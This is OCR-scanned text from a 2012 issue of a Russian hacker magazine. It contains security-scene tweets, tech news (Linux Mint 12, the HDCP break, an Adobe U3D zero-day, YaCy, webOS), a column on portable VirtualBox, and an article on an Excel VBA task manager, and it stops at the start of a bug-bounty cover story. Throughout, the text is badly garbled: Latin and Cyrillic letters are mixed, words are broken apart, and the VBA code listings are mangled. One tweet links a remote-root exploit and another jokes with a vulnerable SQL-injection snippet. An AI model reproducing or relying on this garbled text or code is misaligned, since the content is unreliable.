а выкладывает Oday баги в паблик [напри­мер, расскажет на BlackHat)

lathegrugq: Люди спрашивают: что означает

выражение «боевой зксплойт»?

Ну что же, тут два ключевых

направления, которые стоит посмотреть: 1) появляется ли калькулятор 2) присутствуют ли еsсаре-последовательности

lacesarcer: lathegrugq, лол, я уже не боюсь «боевых эксплойтов». Я уже

удалил calc.exe со всех своих

laLIomегSЗС:

Клиент: «Я защищен, у меня есть

IPS, WAF, NAC». Ага, то, что я надел нижнее белье, не оэнача­

ет, что Я не буду чувствовать удар по яйцам.

laаагопроппоу:

С этими SCADA, широковещал­кой, медицинскими и спутни­

ковыми исследованиями мы

будем ха кать как в фильмах в следующем

году.

Мой любимый SQLi сцена­рий: $id=$_GEТ['id'); $о=пеw

Object[$id); SELECT ... WHERE

laABazhanyuk FreeBSD ftpd апd ProFTPd оп FreeBSD Remote гОО! Exploit: http://www.exploit-db.com/

exploits/18181/

lakevinmitnlck: Иранцы испольэовали GPS spoofing для захвата американ­ского беспилотника. Если это

правда, то может это вам ответ за Stuxnet?

laalexmlmmunity: Продажа эксплойтов - это как

продажа огнестрельного ору­

жия. Люди могут использовать

его ДЛЯ эащиты себя или для нападения. В

любом случае я сплю спокойно .

11 laDeathStarPR: Siri, предупредительный выстрел по Альдерану. Я ска­

эал « ПРЕДУПРЕДИТЕЛЬНЫЙ ВЫСТРЕЛ». Черт, проклятье, Siri!

Когда вы пишете проверку под­

писи, проверяйте, чтобы то, с

чем вы сравниваете ее не выда­

валось на ?debug=true. LOL #ПРАКТИКА­ЗАЩИТЫ-ВЕБА

Page 14: Xakep 02_2012

MEGANEWS ~ СПЕЦИАЛИСТЫ ~~ДОКТОРВЕБ" обнаружили ЗЗтроянца из семейства Android.SmsSend BAndroid Market.

LINUX MINT 12 ВЫШЛА НОВАЯ ВЕРСИЯ ПОПУЛЯРНОЙ LINUX-СEiОРКИ

• Напомним, что Mint выпускается в 32-битной и 64-битной версияхдля х86-систем и имеет

весьма скромные

системныетребова­ния: 512 МБ памяти (рекомендуется 1 ГБI, 5 Гбдискового пространства и гра­

фическийадаптер, поддерживающий минимальноераэ­

решение800х600 пикселеЙ.Дистрибу­тив Linux Mint 12ты найдешь на диске.

аманда проекта Liпuх Мiпt выпустила новую версию своей бесплатной

сборки, которая в последнее время обогнала по популярности даже

незабвенную Ubuntu. Linux Mint 12, основанный на Ubuntu 11.10 и получивший кодовое имя Lisa,

может похвастаться новым рабочим столом на базе Gnome 3, в который были внесены некоторые дополнения. Кроме того, он поставляется с форком более

старой оболочки Gnome 2, адаптированной для совместной работы с Gnome 3. Кдругим улучшениям относится обновленный внешний вид с двумя новыми

темами и новыми художественными работами. Найти новую версию можно как

на сайте Mint Linux Ilinuxmint.com), так и на нашем диске :). Кстати , нельзя не упомянуть, что Linux Mint недавно привлек пристальное

внимание СМИ, так как, по данным Linux OistroWatch, количество пользова­телей, загрузивших Linux Mint, стремительно выросло. Вероятнее всего, при­чиной этому стал новый пользовательский интерфейс Unity, который недавно заменил в Ubuntu популярные среды Gnome и КОЕ. Он ориентирован на новые форм-факторы , такиекакпланшетныекомпьютеры,аненатрадиционные

настольные ПК .

Так или иначе, но в Gnome пошли тем же путем при разработке Gnome 3, в результате чего команда Linux Mint была вынуждена развивать Mint Gnome Shell Extensions для Linux Mint 12 и предложить более привычный рабочий стол с меню приложений, списком окон и треем для иконок используемы х в данный

моментприложениЙ.

99 НАСТОЛЬНЫХ КОМПЬЮ­ТЕРОВ И 188 НОУТБУКОВ с различными данными

былиукрадены у Министер­

стваобороныВеликобрита­

нии или утеряны за послед­

ние полтора года.

012

СОГЛАСНО ДАННЫМ КОМПА-

НИИ COMSCORE, пользова-тели в возрасте 12-17 лет за последний год стали

пользоватьсязлектронной

почтой на 25 % реже.

Я ндекс

ЯНДЕКСБУДЕТУВЕДОМ-

ЛЯТЫЛАДЕЛЬЦЕВСАЙТОВ озаражении их ресурсов

по e-mail, Ранее зта возмож-ность была доступна только

юзе рам Яндекс.Вебмастер.

носр ВСЁ-ТАКИ ДОЛОМАЛИ КОМПАНИЯINТЕLОКАЗАЛАСЬНЕПРАВА--­

АППАРАТНОЕ РЕШЕНИЕ ДЛЯ нВСКРЫТИЯ .. HDCP СОЗДАНО

рошлой осенью мы уже рассказывали, что си­

стема защиты НОСР, разработанная компанией Intel для шифрования видео- и аудиоданны х ,

передаваемы х по интерфейсу HOMI, дала слабину.

В сети тогда был опубликован мастер-ключ НОСР,

однако компания Intel отреагировала на это спокойно. В Intel заявили , что защита вовсе не потеряла своей

эффективности , так как производство НОСР-чипов

с подобны м ключом - достаточно трудоемкая и затрат­

ная задача. Проще говоря, Intel намекнула, что такое аппаратное решение всё равно никто не создаст. Чуть

больше года спустя ученые из Рурского университета в Бахуме IГермания) доказали , что Intel была неправа .: )

Немцы постарались упростить задачу и придумали, как

использовать для обхода защиты достаточно недоро­

гую п'лату Oigilent Atlys с программируемой вентильной матрицей IFPGA), поддерживающую НОМI и RS232 для перепрограммирования. Стоимость все х необходимых

компонентов составила всего около $200. Подробные результаты свои х изысканий ученые обнародовали

на конференции по вопросам информационной безопас­

ности RеСопFig 2011.

В РЕЗУЛЬТАТЕ СБОЯ, произо- КОМПАНИЯ INTEL ВЫПУСТИ-шедшего в ходе обновления ЛА БОЛЕЕ 120 ИСПРАВЛЕ-портала госуслуг, 1 500 НИЙ, призванных улучшить деклараций дошли дО ФНС поддержку архитектуры хВ6

в нечитаемом виде. Восста- и процессоров Atom в плат-новлению они не подлежат. формеАпdгоid 4.0.

ХАКЕР 02/157/201 2

Page 15: Xakep 02_2012

СПУСТЯ 16ЛЕТ ПОСЛЕ ВЫХОДА QUAKE ВЛАСТИ ГЕРМАНИИ, наконец, разрешили продажу культовой игры.

ПОСТРОЙ СВОЕГО РОБОТА! ДОСТУПНЫЙ КОНСТРУКТОР ОТ КОМПАНИИ EZ-ROBOT

Роботы , способные распознавать речь,

следитьзаобъек- . том, интегрируемые

в iRobot Roomba и ктомуже про­

даваемые пота кой смешной цене, настолько пригляну­

лись покупателям,

что все наборы разо­

брали буквально за несколько дней, и теперь конструк­

тора нет в наличии

на ez-robot.com.

ы регулярно рассказываем тебе о различных интересных наборах

« сделай сам » и сегодня просто не смогли пройти мимо нового кон­

структора EZ-Robot Complete Kit от компании EZ-Robot. Этотсрав­нительно недорогой набор, стоимость которого составляет $243, позволяет создаватьдостаточномногопродвинутыхроБОТОВ.Вкомплектвходятбес­

проводный контроллер, при помощи которого осуществляется управление ро­

ботом , ультразвуковой датчикрасстояния, три стандартных сервопривода, два

серво постоянного вращения и беспроводная камера слежения . В комплекте

также присутствуют аккумулятор, различная сервомелочевка и необходимое

для работы будущих роботов ПО Ic удобным GUI, так что запрограммировать робота сможет даже тот, кто никогда вообще ничего не программировалl . Про­граммное обеспечение также позволяет распознавать речь, мимику и лица ,

же с ты, цвета и даже некоторые символы. Через НТТР-веб-серверможно

ко нтролировать робота удаленно, посредством iPhone, Android или другого ПК .

П ожалуй , создатели не включили в комплекттолько основу- корпус, в кото­

р ы й помещается вся « начинка » . С другой стороны , это лишняя возможность

п роявить фантазию.

PHOENIXTECHNOLOGIES ГОТОВИТСЯ К ВЫХОДУWINDОWS 8

ВSСТ2.2ДОБАВИЛИ БОЛЕЕ 60 НОВЫХ ФУНКЦИЙ, ПОВЫШАЮЩИХ ПРОИЗВОДИТЕЛЬНОСТЬ И БЕЗОПАСНОСТЬ, УЛУЧШАЮЩИХ СРЕДСТВА ПОДКЛЮЧЕНИЯ И Т. Д.

ХАКЕР 02/157/201 2

ИТОГИ «ПРЕМИИ РУНЕТА» СОСТОЯЛАСЬ УIII ТОРЖЕСТВЕННАЯ ЦЕРЕМОНИЯ

ВРУЧЕНИЯ ПРЕМИИ РУНЕТА

так , подведены итоги конкурса на присуждение

Премии Pyheta-2011I ргеmiагuпеtа.гuJ .

VIII церемония поставила своеобразный рекорд: было вручено 35 статузток . По традиции первыми были '

. названы лауреаты в номинации « Государство И общество» . Из рук Игоря Щёголева награду получили:

АНО «Модернизация » 'проект i-Russiа . гu J; банк ВТБ Iпроект«ВТБ - России»-www.vtЬгussiа.гu J;

Российское агентство правовой и судебной информа­

ции- РАПСИ Iwww.infosud.ruJ. Специальная наградабылатакжеврученакомпании«Ро ­

стелеком » за проект«Госуслуги ».

Победителями в специальной номинации «Безопасный

Рунет», учреждённойЛигой безопасного интернета, стали:

компания Google Iпроект « Справочник подетской безопасностивинтернете»~ Фонд Развития Интернет Iпроект«Дети онлайн » J; Центр а.нализа интернет-ресурсов Iwww.NetPolice. ruJ.

Награды в номинации «За вклад в развитие домена рф»

удостоились:

проект «Суперсадовник.рф»;

БольшоеПравительство.рф;

портал для детей и подростков «Вектор-успеха.рф» .

В номинации «Культура и массовые коммуникации» по­

бедителями стали:

интернет-СМИ « Частный корреспондент» Ichaskor.ru l; агентство гражданской журналистики «Ридус»;

• ЗАО « Сейчас» lинтернет-проектwww. NОW.гu l; Российская газета Irg.ru l.

Тройкалучwих в номинации «Стартапы года»:

проект « Карамба-ТВ» lcaramba.tvJ; проект «Будист. ру» Iwww.budist.ruJ; проект « Налогия » Iwww.nalogia.rul.

Лауреатами в номинации «Наука И образование»стали:

Mail.ru Group Iпроект « Кубок Russian Code Cup»J; национальный образовательный проект « Умная-школа.рф»; проект « Живой словарь» от портала « Грамота.ру»

Igramota.tvl; социальная сеть читателей книг LiveLib.ru.

В номинации «Здоровье И ОТДЫХ» победили:

система онлайн-бронирования OZON.travel; международная сеть доставки цветов AM F.ru; портал оздоровье и медицине «ВитаПортал» Ivitaportal .rul.

Специальной « спортивной » номинацией компании « Ро­

стелеком» отмеченпроект « СпортБокс~

В ходе церемонии была официально завершена всероссий­

ская онлайн-акция «Народное голосование Премии Рунета

-2011 ». Звание « Народного лидера » в итоге разделили

сразу два проекта: « Легенда: Наследие Драконов» и World ofТanks. Всехдесятерых победителей, которым досталось

зто звание, можно найти на сайте narod.premiaruneta.ru. Лауреатами в номинации «Экономика И Бизнес» признаны:

компания « 1С-Битрикс» Iпроект « Корпоративный портал» l; биржа удаленной работы Free-Iance.ru ·

• деловой портал BFM. ru. Статуэтки в номинации «Технологии и инновации» получили:

интернет-супермаркетпрограммногообеспечения

« Софткей » ISoftKey.ru l; компания « Вымпелком»IБилайн~ проект «Хабраха~р» l hаЬгаhаЬ~г~ ; социальнаясеть «Одноклассники~

компания « Ростелеком».

013

Page 16: Xakep 02_2012

MEGANEWS ХАКЕРЫ ПОХИТИЛИДАННЫЕ О 13,2 МИЛЛИОНАХ пользователей игры Maple Story. Инцидентпроизошел в Южной Корее.

ЕЩЕОДНАУЯ3ВИМОСТЬОDАУ НАИДЕНАВ ПРОДУКТАХАDОВЕ ХАКЕРЫ УЖЕ ИСПОЛЬЗУЮТ ЕЕ В СВОИХ ЦЕЛЯХ

r~~ Adobe Adobe обозначила уязвимость как

«U3Dmemory corruption vulnerabllity». U3D преАставляет собой технологию Universal3D и фай­ловый формат АЛЯ хранения трехмер­

ных графических данных . Уязвимость заключается в ТОМ,

что в PDF-Аокум ент МОЖНО внедрить

вреАОНОСНЫЙ U3D­контент, исполнение

которого в системе

вызывает перепол­

нение буфера.

х уж эти мн о гострадал ьные Ado be Reader и Acrobat! П орой скла­ды ваетс я ощущен ие, что о н и состоят из ды р и б аго в чуть более

чем п олн остью. Ком пан ия Adobe 5ystems подтвердила наличие незакрытой к р ит и ч еской уя з ви мости в у п о м я н утом выш е П О. Ды ра об н а­

ружена BAdobe Reader Х Iверсии 10.1.1 и н иже) дл я Wi ndows и Масiпtоsh ,

Adobe Reader9.4.6 для Uп iх, а та кже в Adobe АсгоЬа ! Х Iдо в е рсии 10.1.1 включительно) для Windows и М асiпtоsh. Из-за этой уязвимости могут

падат ь про грамм ы , к р оме того , о на п отенциальн о п оз в о ляетхакеру пол у­

читьконтроль над системоЙ.Известн отакж~чтокибе р преступникиуже

в зяли на воо руже н ие новую Oday. П о заявле н и ям Ad obe, дырка ис п ол ь­

зуется в ходе о граничен н ых целе вых атак. В качестве цел ей, вероятно,

в ыбраны военные п одрядч ики США : и значальноАdо Ье заявила , что об

уязвимости сообщил и группы реаги р о ва н ия в Lockheed Ма г tiп и MITR E. Чуть п озже ком п а н ия изме н ила «показа н ия», И стала утвержда ть, что

информа ция об уяз в имост и посту п и л а не от MITRE, а от Dеfепsе 5ecurity I пfогmаtiоп Е хс hапg е- группы военны х п одрядчи ков , кото ры е обмени­

ваются раз в еды вательны ми данны м и п о кибе ругрозам. П атчи для Rea der и АсгоЬа! 9 уже вышл и, а в от ис пра вле н ий дл я Reader и Ас го Ьа! 1 О l а также для версий п од Мас 05 Х и Uпi х ) мож н о ждать только в кон це ян варя .

СКАЖЕМ «НЕТ!» GOOGLE И BING о Р2Р-ПОИСКОВИКЕ УАСУ

осл е п яти лет работы в п оте лица а кт и в исты движе н ия

за с вободное ПО предста в и л и ми рус в о й н о в ый п роект:

рас п ределе н ную п оиско в ую системуУаСу Iуасу.пеt), котор а я в п е р с п екти в е долж н а составить ко н куре нцию Googl e, Yahoo, 13 iп g и п рочим коммерческим поисковика м. Ос н овная фишка н о в о го

се рвиса в том, чт о о н работает п о п р ин ци п у Р 2 Р, то е ст ь з а хран ен ие

п о и ско в ого индекса и обработку п оиско вых запросо в УаСу отве чает

н е це нтр ал ь ны й с е р в е р , а с еть н езависи м ы х участни ков , н а ком пь ю ­

те ра х которых работает одноимен на я п р о гр а мм а. Н ик то из у час т­

н ико в сети н е может повли ять н а резул ьтаты , которы е выда ются

п о за п росу п ользователя , или на по р ядок их отоб раже н ия н а стра­

н и це. В сеть Freeworld м ожет во й т и л юб ой жел ающ ий, уста нов и в­

ш ий П О под GN U/Linux, Wi ndows ил и Мас05 . П о сути, YaCy- зт о с в ое го р од а ан ал ог с в о б одно й со циальн о й сети Diaspora, кот о рая пози ционируетс я как альтер нат и ва закрыты м цен т рали зо ванны м

сетя м Facebook, Google+ ИТ. П . Р2Р- сет ь и от к рыты й код гара нт и руют

ус той ч ивость по и ско в ик а и з ащищают е го от ц е нз у р ы. Н а каждом

узл е создается собств е нна я база п оисков ы х и нде ксо в , а пр отокол

пр едусматри вает возможн ос т ь о б м ен а базам и с дру гими узлами. Ав­

торы УаСу считают, что важней шую задачу по иска в ин тернете нел ь­

зя до ве ря т ь н ескольки м крупным ко мпа ния м , та к как эт о угрожает

конфиденциал ьн ости п ол ьзо в а те л ей. П одде ржку УаСу осуществл я ­

eT ор ган иза ция Free 50ftware Fоu пd а t iоп Europe IF5FE).

",с.,'.м-к' W<tb SlN(IWt

O~~w.~_o J: а, "'" ---., ~ --_ ..... .

1!!JjJj УаСу. Dlalrlbuted Sf!erch Engln8

~.' _.... • __ ... с-.

. ~_. _~ W':'WN _ .7""'.

- - .~+ - .- ..

:=са

i[~ .­.-'---.-.-IЦ~;:------... -

- ,......~

НАЧАТЫ ПОСТАВКИ НОВОЙ ЭЛЕКТРОННОЙ КНИГИ WEXLER. ВООК Т7005 С 7-ДЮЙМОВЫМ сенсорным зкраном и LED­подсветкой для комфортного чтения. Устройство оснаще­

но встроенной памятью 8 ГБ (можно расширить до 32 ГБ

011.

с помощью карт MicroSD) и мощным аккумулятором 2800 мА ч. Новинка поддерживает самые популярные форматы

электронных книг, видео, аудио и изображений . Dтдельно сто­

итотметить поддержку формата ООС . Важным достоинством

такжеявляетсяналичиеУВ-выход~благодарякоторому

можно подключить WEXLER.BDDK Т7005 прямо кУВ . Книга

позволяет передавать на внешние устройства звуки изо­

бражение качеством до 720р. Для удобства пользователей

новинка оснащена датчиком пространственного положения

-G-сенсором. Ориентировочная розничная цена устройства

-3990 рублей.

GOOGLE СООБЩАЕТ, ЧТО КОЛИЧЕСТВОСКАЧИВАНИЙ HaAndroid Магkеtдостигло десяти миллиардов. Каждый

месяц в Market совершается порядка одного миллиарда

покупок.

NОКIАИ ИНТЕРНЕТ-ХОЛДИНГ

MAIL.RU GROUP ВЫПУСТИЛИ СОБСТВЕННЫЙ БРАУ3ЕР. Новинкой планируется осна­

стить 27 моделейтелефонов Nokia на платформе Series40.

ХАКЕР 02 /157/201 2

Page 17: Xakep 02_2012

26 % СПЕЦИАЛИСТОВ ПО IiЕ30ПАСНОСТИ просматривают конфиденциальные данные, к которым у них вообще не ДОЛЖНО быть доступа.

WEBOS СТАНОВИТСЯ ОТКРЫТЫМ ПРОЕКТОМ КОМПАНИЯ HP ПРИНЯЛА РЕШЕНИЕ ОТНОСИТЕЛЬНО БУДУЩЕГО МОБИЛЬНОЙ ПЛАТФОРМЫ

апомним, что компания HP нетакдавно отказал ась от даль­неЙшегоразвитиявсегосвоегомобильногоподразделения.

Однако окончательный вердикто судьбе операционной

системы wеЬО5тогда озвучен не был , что , конечно же, породило

множество слухов и теорий. В частности, предполагал ось, что web05 будет куплена компанией Amazon или Oracle. Также напомним, что впервыеэтамобильная платформабылапредставлена компанией

Palm в качестве замены устаревшей Palm 05. В свою очередь, в пер­вой половине 201 О года компания Palm была приобретена HP за 1,2 млрддолларов .

Но вернемся Kweb05. В середине декабря Hewlett-Packard наконец-то объявила о своем решении . Компания откроет ис ходный

код web05 и объединит усилия с сообществом разработчиков опенсор­са, которые не будут платить за это никаких отчислений нр. Возможно,

благодаря этому решению проект получит новое воплощения и зажи­

вет, наконец, нормальной жизнью. В общем-то, по аналогичной схеме сейчас распространяется система Android. Примечательно, правда,

ЧТО тип лицензии, на условиях которой будут распространяться от­

крытые исходники web05,-GPL, В5D или излюбленный Мiсrоsоft механизм 5hared 50urce-B соответствующем пресс-релизе не огова­ривается вовсе. Как заявила винтервьюдля TechCrunch генеральный директор HP МегУитмен, компания также не исключает, что в даль­нейшемзаймется производством новыхпланшетовподуправление м

web05. По ее мнению, это может произойти в 2013 году, так как в 2012- м

HP делает упор на устройства подуправлением Windows8. В то же время, в середине декабря, Hewlett-Packard устроила

запланированную распродажу оставшихся планшетов TouchPad. Аттракцион невиданной щедрости про водился на аукционе еВау,

всекциидляотремонтированныхтоваровитоваровсоскидкоЙ . Ком­

пания действительно предлагала устройства, прошедшие процедуру

восстановления, то есть не новые изделия, а, например, когда-то

возвращенные потребителями (зачастую внераспакованном видеl

(/j) webOS

Вближайwем будущем HP обещает представитьwирокой общественности обновленную платформу ENYO для разработки приложений noAwebOS.

ЗАКОНЧИЛСЯ КОНТЕСТ ПО ПОИСКУУЯЗВИМОСТЕЙ В ЯНДЕКСЕ

или из демонстрационных залов магазинов . В одни руки отпускалось

только по два устройства. Девайсы расходились с ошеломляющей

скоростью. Планшеты HPTouchPad с 16 Гбайт встроенной памяти, предлагаемые по цене $99, закончились уже через 15 минут. TouchPad с 32 Гб встроенной памяти стоимостью $149 продавались немного дольше, но , по свидетельству ритейлера , распродажа планшетов

завершиласьчерез25минутпослестарта.Всегобылореализовано

7850 TouchPad. Единственное, что неизвестно, - как продавались ак­сессуары в комплекте (чехол, зарядная док-станция и беспроводная клавиатураl , цена которого составляла $79. Ажиотаж вокруг распро­дажи был так велик, что в работе еВау произошел сбой, а в платежном

сервисе PayPal наблюдались задержки с прохождением транзакций. Инсайдеры утверждают, что изначально остаток TouchPad планиро­вали реализовать среди сотрудников нр, но затем компания по неиз­

вестным причинам изменила свои планы.

ОРГАНИЗАТОРЫ ХОТЕЛИ ОГРА­НИЧИТЬСЯ ОДНИМ ПРИЗОВЫМ МЕСТОМ С НАГРАДОЙ $5000, НО, ТАК КАК ДЫР БЫЛО ОБНАРУЖЕ­НО МНОГО, ПРИШЛОСЬ ВВЕСТИ ВТОРОЕ И ТРЕТЬЕ МЕСТО

ХАКЕР 02/157/2012 015

Page 18: Xakep 02_2012

IEADER

КОЛОНКАСТЁПЫИЛЬИНА

ВИРТУАЛЬНАЯ МАШИНА НАФЛЕШКЕ

есмотря на то, что я все больше использую разные онлайн­

сервисы для решения многих задач, на флешке у меня всегда

есть набор незаменимых рогtаЫе-приложений, которые за-

пускаются без установки на любом компьютере. Разработчики сами часто

выкладывают портабельные версии своих продуктов. Но если даже нет,

то за них это зачастую делают энтузиасты IportabIeapps.com/rul. В конце концов, сейчас уже каждый может скачать замечательную утилиту

Сатеуо Iwww.саmеуо.соmlи сделать рогtаЫе-версию практически любого приложения .. Цель достигается за счет так называемой виртуа­лизации: приложение помещается в специальный контейнер, в котором

эмулируется нужные для его работы ветки реестра, файлы на диске и

т. д. Где бы оно ни запускалось, для него всегда будут созданы такие

тепличные условия :1 . Увы, виртуализировать таким образом можно далеко не всё. Когда мне кровь из носа понадобилась портабельная

виртуальна машина, на которой можно было бы запускать гостевые

ОС, оказалось, что ViгtualBox под Сатеуо не работает. На официальном

сайте подходящей версии виртуальной машины не было, однако на

форуме я нашел ссылочку на интересный проект- РогtаbIе-ViгtuаlВох

Iwww.vbox.mel. Цель разработки - заставить VirtualBox работать без установки

и запускаться откуда угодно, например с USВ-носителя. Интересно, что утилита полностью написана на скриптах Autolt IBce и сходники открыто лежат в bit.ly/rQOn7ZI, но из-за этого, правда, и выглядит не очень изящно. Но главное-то - результат. Итак, скачиваем приложе­

ние Iy меня это РогtаbIе-ViгtuаIВох_v4.1 . 6-Stагtег _v6.4.8-Win_all.exel и запускаем его - программа предложит выбрать путь для распаковки .

После зтого можно запустить РогtаbIе-ViгtuаIВох.ехе. Все настройки

выставляются автоматически, исправлять что-то вручную Iнапример, путиl не требуется. Появившееся окно - это так называемый лончер. Он появляется один раз и предназначен для загрузки последнего дис-

Here уou сап flnd the inslllllation flles 01 Virtual80x сап aulomatic. 11y download and make some adjustments (ff you use this script downfoading Virtu2l1Вox, on" make the sellings and cfick ·"01("" ).

Download installation liles of VirtualBox

OR

Path 10 Ihe inslallation file 01 VirtualBox , . ...

!'lI Exlract lhe ~Ies 'ог а знm syslem

~ Exlraс! Ihe ~Ies 'ог а 64-Вrt syslem

r:J Compress Ihe ~Ies 10 reduce Ihe siZe

EI Stэ" PortabIe-VirtuаlВох a1\erlhe eJdract andlor compress -Downla8ding: http://downlоаd.virtuаIЬох.OJgМrtuаltю./4 . 1 .aNiтtu. IВах-4 . 1.8--7471 ~Win.u..

Bytu '"" 4 1043104

ОК

search

Настройка рогtаЫе-версии виртуальной машины

016

трибутива VirtualBox и извлечения оттуда нужных файлов . Интересно,

что на этом этапе файлы можно еще и особым образом упаковать, что­

бы они занимали меньше места на USВ-флешке Iхотя при нынешних размерах флешек это едва ли актуальноl. Жмем на кнопку «Download installation liles 01 VirtuaIBox» , выбираем разрядность системы Iнапри­мер, «Extract the liles 'ог 32-Bit system»1 и ждем, пока лончер сделает все свое дело . Чтобы установщик адаптировал пути под систему

Iпоправил нужньiе параметры в конфиге Vi гtuaIBox.xmll, бинарник РогtаbIе-ViгtuаIВох.ехе нужно запустить еще раз. Вуаля - у нас в рас­

поряжении есть полноценная VirtualBox. Без какой-либо установки в систему .

В трее появится иконка VirtualBox, с помощью которой можно управлять виртуальной машиной и дополнительно настраивать ее. В

го стевых ОС по умолчанию работает и USB, и сеть. Но чтобы выпустить гостевую ОС во внешнюю сеть lинетl, придется провести некоторые дополнительные манипуляции . В трее надо выбрать «Settings ~ Network» и включить опцию «Start VirtualBox with network support». Далее нужно перезапустить РогtаbIе-ViгtuаlВох и согласиться на уста­

новку драйвера . Процесс организован так, что при завершении работы

с виртуальной машиной всё, что было установлено в систему, удаляет­

ся . Файлы гостевой ОС разумно разместить прямо на флешке вместе с

VirtualBox. У меня эта система одна, поэтому ее можно запускать сразу, без дополнительных манипуляций, указав в параметрах ее имя:

Учитывая, что виртуальная машина всегда находится не в выклю­

ченном состоянии, а в режиме «Save the state», ее запуск происходит очень быстро. Поэтому она всегда готова к работе без лишнего гемор­

роя. И где угодно. I

0 0 .

ION: w7rww ,.., ОС: wnbws 7

~_512к.

~~,!Iжqo1 • •

(i ttoon'eIIII

"'­--VТ"'-С/АЮ-\t --""­!h~~lDEn-OЛФЮlЮ):~(4].'Я") '''rA_ Soa'AfWJO; ""~.vd (or...м..Ii, 6. S9 rъ)

VirtualBox работает без установки

ХАКЕР 02 /157/2012

Page 19: Xakep 02_2012

Proof -of -Concept МЕНЕДЖЕР ЗАДАЧ НА EXCEL

На кой черт может понадобиться таск-менеджер, реализованный стандартными средствами Excel? Хороший вопрос. Известному специалисту по информационной безопасности Дидье Стивенсу

пришлось сделать подобную штуку, когда он столкнулся с системой, в которой было запрещено

буквально всё. Взаимодействие с ОС осуществлялось через специальную оболочку, препятствующую

запуску большинства приложений, в том числе и стандартного таск-менеджера [через который ее легко можно было бы отрубить], да и локальные политики ограничивали его использование. Увидев, что Excel входит в число разрешенных для запуска приложений, Дидье подумал, почему бы не задействовать встроенные в Office VBA-макросbI, чтобы управлять запущенными процессами в системе? Подумал-подумал и сделал полноценный таск-менеджер.

КАК ЭТО ВЫГЛЯДИТ? РоС представляет собой обычный Excel-файл - TaskManager.xls. Идея проста: если в системе ограничен запуск таск- менеджера,

но при этом есть возможность открывать

Ехсеl-таблицы с макросами, то управлять

процессами можно через несложный макрос,

реализованный на VBA [Visual Basic для приложений). Открыв файл, ты увидишь две кнопки: List processes [Отобразить процессы) и Execute commands [Выполнить команду) . Соб­

ственно, жмем первую и видим, как таблица

быстро заполняется информацией о процессах

[название исполняемого файла, ID процесса, путь к бинарнику, пользователя, под которым

запущен процесс, время создания процесса , а

также разрядность -32 или 64 бита). Любой из процессов можно выгрузить, приостановить

и, соответственно, возобновить. Для этого в

.. А •

)~ U81P'К""" . , 5 C ... m'Rd P,6U8 . . . .. 11_11 1 1SYtI ... PIocml . .. ... е с_.о,

10 ~.ж.

11 EllCfLecE ~" , "

",и_ .о Uи.

" .. -17111U!*_ ..... -1816Jf'PAOSP'3W11 ID1JFPfЮSP3\IмI

IltБJf'PfIOS~ .НТAlЛНORlТY\S,sтa.

I72NТALIIНOAfТY\S'S1VoI

TaskManager.xls в действии

ХАКЕР 02/157/201 2

,--I ~I""'" • IЩttlOl""" ••• '_",,",'

колонке Command напротив процесса надо поставить флаг нужной команды [например, тер минейту процесса соответствует буква t) и нажать на кнопку Execute commands. Получа­ется реально полезная штука . Тут даже не надо

фантазировать по поводу пентеста и ограни­

ченных окружений, чтобы представить, зачем

она может понадобиться. Вспомни хотя бы

win locker'bI - любая подобная дрянь блокиру­

ет запуск таск-менеджера.

КАК ЭТО РАБОТАЕТ? Все макросы полностью написаны на чистом

VBA. ДЛЯ манипуляции с процессами вызы ­

ваются WIN32-функции из соответствующих

системных библиотек. Нужные функции

вначале объявляются путем подгружения из

DLL, которое осуществляется примерно таким образом:

_ •• :r1oc ~ "'.s ... tЧ' _ .И~ Ь3U-ll19

о..'.....,..-..Н···

~:r~;::.:.o::"~r;:.:. l nOCU'_~IY_l.FlmQ.TI<.:. О. 1.r~cu.IDI

Т! OpIUl. ... oce •• tobul ,b'_', ТCП!f3I'лат. !lTOn:l) Q 1) n." GeHO""I .. ro .... tOCl"Ta_.TOIn'''U' ..... O. O.l • • ~ 1t._ &bIk1HI" ' O ТО C1.At, llI •• cledl l It CM.T"_I"IO:-".1«1(}оТ,,_. УС>h:lи"", _Ж(I"10, . 1IScIшI4,_tftrj

~_rr 1»'1d • .ыll.lf.r1 0l • • •• rАсоо\Ul~_ - Sp."tlW(_'llIJ

~=_":::Х-'П1II lOeat.l~_"ЮUI_iJ.11I н ~~~~::-~. lJ!'14. щkeCl=~ ...... l1occcnш~

• .!L-J ,f,

Простейший код на УВД позволяет с легкостью управлять процессами в системе

f'г:;iу;зt~ Declare f'_uщJi~QП рреJ1РГЩ~S~S LJb ':kеr:пеJД. dH "~~ (ElyViJl _ d\'JI;)~~s],redAcces~si!S

(J.s Long, ~~ByYaJ,~~ blnh_~r:LtH;3Jldl.e 8s ~~

ВОQJеал, ByYal d\tlprQc:):d А_s Lопg) 8s ~ ~Lолg

После этого их можно использовать без

ограничений. К примеру, следующая функция

выгружает процесс из памяти:

prJy"t~e~ ~$u b ~J е~сm;iпаtеР roc~e 5 ~ ВуХО С ~~ ~~_ElyV;31~~ J,PToc~ssID Аs ~ LQлg} ~ __

_ ~~ hl'r.oc~ss = pp.e!1I'.rocess~ ( ~~~~ ~ ~~~ ___ ~~~~_~~~~~ P'RQCE$S_JERMJ;r-JАПJ 3:1, lProc.essJD)

~~_ ~ __ H hP~roS;es ~s._.9 ~ Ihеп~

Iermif1gt~PC9~c:ess Jll'~9C~S~S, е

_Ооs~еН_апdlе hProc_ess ~~ ~~_ ~_E гн:I If ЕПd_ SuJ)

Последняя вер сия TaskManager.xls работает как в 32-, так в 62-битных системах, отлично себя чувствует в любых Офисах [вплоть до 64-битной версии Office 2010) и имеет цифро­вую подпись.

Бери на вооружение лин к для загрузки :

Ыоg.didiегstеvепs.соm/20 11/11/30/signed­taskmanager. Остается только сказать Дидье спасибо за классный РоС, который многим на­

верняка пригодится для решения конкретных

задач. ::I:

017

Page 20: Xakep 02_2012

COVERSTORY

в

Ыt.lу/грВАН9 -список инициатив,

где можно получить

кеш за уязвимости;

can;use.com -таблица возможностей браузеров; bjt.ly/taDA7s историческая

новость от Netscape; bjt ly/alUyof Hall ofFame; ЫЦу/kуВЕkv­проект ASan; ЫЦу/оJпгhР исследовательская

работа «How Ореп 5hould Ореп 50uгce Ве?»;

bjt ly/uQywEh ­интересная работа «Grammar-Based Interpreter Fuzz Testing».

На нашем диске ты найдешь скрипт сборки Chrome, а также все

перечисленные

в статье публичные фаээеры .

018

00 е

готе РУКОВОДСТВО ПО ЗАРАБОТКУ НАПЕНТЕСТЕ ПОПУЛЯРНОГО ВЕБ-БРАУЗЕРА

Сегодня существует немало различных

программ bug bounty, с помощью которых можно неплохо заработать на поиске

уязвимостей в софте с открытыми

исходниками. В браузерном мире сама

